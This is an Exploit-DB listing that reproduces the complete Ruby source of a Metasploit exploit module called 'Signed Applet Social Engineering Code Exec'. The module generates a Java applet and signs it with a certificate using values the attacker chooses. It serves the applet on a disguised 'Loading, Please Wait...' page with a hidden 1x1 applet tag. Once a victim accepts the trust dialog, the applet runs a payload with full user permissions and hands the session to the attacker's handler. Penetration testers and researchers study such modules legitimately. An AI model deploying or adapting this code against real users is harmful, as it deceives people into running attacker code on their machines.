Signed Applet Social Engineering – Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2011-01-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16302/
  • ##
    # $Id: java_signed_applet.rb 11516 2011-01-08 01:13:26Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    require 'rex'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpServer::HTML
    	include Msf::Exploit::Java
    	include Msf::Exploit::EXE
    
    	def initialize( info = {} )
    		super( update_info( info,
    			'Name'=> 'Signed Applet Social Engineering Code Exec',
    			'Description' => %q{
    					This exploit dynamically creates an applet via the Msf::Exploit::Java mixin, converts it
    				to a .jar file, then signs the .jar with a dynamically created certificate containing
    				values of your choosing.This is presented to the end user via a web page with an applet
    				tag, loading the signed applet.
    
    				The user's JVM pops a dialog asking if they trust the signed applet and displays the
    				values chosen.Once the user clicks 'accept', the applet executes with full user
    				permissions.
    
    				The java payload used in this exploit is derived from Stephen Fewer's and HDM's payload
    				created for the CVE-2008-5353 java deserialization exploit.
    
    				This module requires the rjb rubygem, the JDK, and the $JAVA_HOME variable to be set.
    				If these dependencies are not present, the exploit falls back to a static, signed
    				JAR.
    			},
    			'License' => MSF_LICENSE,
    			'Author'=> [ 'natron' ],
    			'Version' => '$Revision: 11516 $',
    			'References'=>
    				[
    					[ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ]
    				],
    			'Platform'=> [ 'java', 'win', 'osx', 'linux', 'solaris' ],
    			'Payload' => { 'BadChars' => '', 'DisableNops' => true },
    			'Targets' =>
    				[
    					[ 'Generic (Java Payload)',
    						{
    							'Platform' => ['java'],
    							'Arch' => ARCH_JAVA
    						}
    					],
    					[ 'Windows x86 (Native Payload)',
    						{
    							'Platform' => 'win',
    							'Arch' => ARCH_X86,
    						}
    					],
    					[ 'Linux x86 (Native Payload)',
    						{
    							'Platform' => 'linux',
    							'Arch' => ARCH_X86,
    						}
    					],
    					[ 'Mac OS X PPC (Native Payload)',
    						{
    							'Platform' => 'osx',
    							'Arch' => ARCH_PPC,
    						}
    					],
    					[ 'Mac OS X x86 (Native Payload)',
    						{
    							'Platform' => 'osx',
    							'Arch' => ARCH_X86,
    						}
    					]
    				],
    			'DefaultTarget' => 1
    		))
    		register_options(
    			[
    				OptString.new( 'CERTCN', 	[ true, "The CN= value for the certificate.", "Metasploit Inc." ]),
    				OptString.new( 'APPLETNAME',	[ true, "The main applet's class name.","SiteLoader"		]),
    				#OptString.new('PAYLOADNAME',	[ true, "The payload classes name.", 	"SiteSupport" 	]),
    
    				# Not implemented yet.
    				#OptString.new('PACKAGENAME',	[ true, "The package name for gen'd classes.","x"		]),
    				# Needs Rex::Zip to be able to crack zip files
    				#OptString.new('CUSTOMJAR', 	[ false, "A custom .jar applet to use.", nil]),
    			], self.class)
    		# No source right now, so don't give an option to save it
    		#register_advanced_options(
    		#	[
    		#		OptString.new('SaveToFile',		[ false, "When set, source is saved to this directory under external/source/", nil ])
    		#	], self.class)
    	end
    
    	def exploit
    		#
    		# Currently doing all processing in on_request_uri.
    		# If this is too slow, we can move applet generation up here.
    		#
    
    		@use_static = false
    		if not @jvm_init
    			print_error
    			print_error "The JDK failed to initialized: #{@java_error}"
    			print_error "In order to dynamically sign the applet, you must install the Java Development Kit, the rjb gem, and set the JAVA_HOME environment variable."
    			print_error
    			print_error "Falling back to static signed applet.This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored."
    			print_error
    
    			@use_static = true
    		else
    			cp = "#{datastore["JavaCache"]}:" + File.join(Msf::Config.data_directory, "java")
    			compile( [ "#{datastore["APPLETNAME"]}" ] , [ applet_code ], [ "-classpath", "#{cp}" ])
    			applet_file = File.join(datastore["JavaCache"], "#{datastore["APPLETNAME"]}.class")
    			@compiled_applet_data = File.open(applet_file, "rb") { |f| f.read(f.stat.size) }
    		end
    
    		super
    	end
    
    	def on_request_uri( cli, request )
    		payload = regenerate_payload(cli)
    		if not payload
    			print_error( "Failed to generate the payload." )
    			# Send them a 404 so the browser doesn't hang waiting for data
    			# that will never come.
    			send_not_found(cli)
    			return
    		end
    
    		if not request.uri.match(/\.jar$/i)
    			if not request.uri.match(/\/$/)
    				send_redirect( cli, get_resource() + '/', '')
    				return
    			end
    
    			print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )
    
    			send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
    			return
    		end
    
    		# If we haven't returned yet, then this is a request for our applet
    		# jar, build one for this victim.
    
    		jar = payload.encoded_jar
    
    		if @use_static
    			# Then build from the statically signed class files.Note that
    			# this uses a pre-compiled version of Payload.class, so any new
    			# updates to that file in the normal javapayload will not be
    			# reflected here!
    			applet_file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", "SiteLoader.class")
    			applet_data = File.open(applet_file, "rb") { |f| f.read(f.stat.size) }
    			jar.add_file("SiteLoader.class", applet_data)
    
    			print_status("Building statically signed jar for #{cli.peerhost}")
    			build_static_sig(jar)
    			data = jar.to_s
    		else
    			# Then build from the class file we compiled in the exploit()
    			# method above.
    			jar.add_file("#{datastore["APPLETNAME"]}.class", @compiled_applet_data)
    			print_status("Signing file for #{cli.peerhost}")
    			# The RJB signing class requires the jar to be an actual file on
    			# the filesystem, write it out.
    			File.open(File.join(datastore["JavaCache"], "tmp.jar"), 'wb') { |f| f.write(jar.to_s) }
    			sign_jar(datastore["CERTCN"], "tmp.jar", "signed.jar")
    			# ... and read in the resulting signed jar
    			data = File.open(File.join(datastore["JavaCache"], "signed.jar"), "rb") { |f| f.read(f.stat.size) }
    		end
    
    		print_status( "Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}:#{cli.peerport}.Waiting for user to click 'accept'..." )
    		send_response( cli, data.to_s, { 'Content-Type' => "application/octet-stream" } )
    
    		handler( cli )
    
    	end
    
    	def generate_html
    		html= %Q|<html><head><title>Loading, Please Wait...</title></head> |
    		html += %Q|<body><center><p>Loading, Please Wait...</p></center> |
    		html += %Q|<applet archive="#{datastore["APPLETNAME"]}.jar"\n|
    		if @use_static
    			html += %Q|code="SiteLoader" width="1" height="1">\n|
    		else
    			html += %Q|code="#{datastore["APPLETNAME"]}" width="1" height="1">\n|
    		end
    		html += %Q|</applet></body></html>|
    		return html
    	end
    
    	def build_static_sig(jar)
    		files = [
    			"metasploit/Payload.class",
    			"SiteLoader.class",
    			"META-INF/MANIFEST.MF",
    			"META-INF/SIGNFILE.RSA",
    			"META-INF/SIGNFILE.SF",
    		]
    
    		# Ghetto.Replace existing files in the Jar, then add in
    		# anything that wasn't replaced.The reason for replacing the
    		# .class files is to ensure that we're sending the
    		# Payload.class as was signed rather than a newer one that was
    		# updated without updating the signature.We'll just have to
    		# cross our fingers and hope that any updates don't break
    		# backwards compatibility in the handler until we can get
    		# signing to work from ruby.Once we can sign jars directly
    		# from ruby using OpenSSL, this won't be a problem.
    		replaced = []
    		# Replace the ones that are already there.
    		jar.entries.map do |e|
    			file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e.name)
    			if File.file? file
    				File.open(file, "rb") do |f|
    					e.data = f.read(f.stat.size)
    				end
    			end
    			replaced << e.name
    		end
    		# Add the rest
    		files.each { |e|
    			next if replaced.include? e
    			file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e)
    			File.open(file, "rb") do |f|
    				jar.add_file(e, f.read(f.stat.size))
    			end
    		}
    
    		jar
    	end
    
    	def applet_code
    		applet = <<-EOS
    import java.applet.*;
    import metasploit.*;
    
    public class #{datastore["APPLETNAME"]} extends Applet {
    	public void init() {
    		try {
    			Payload.main(null);
    		} catch (Exception ex) {
    			//ex.printStackTrace();
    		}
    	}
    }
    EOS
    	end
    end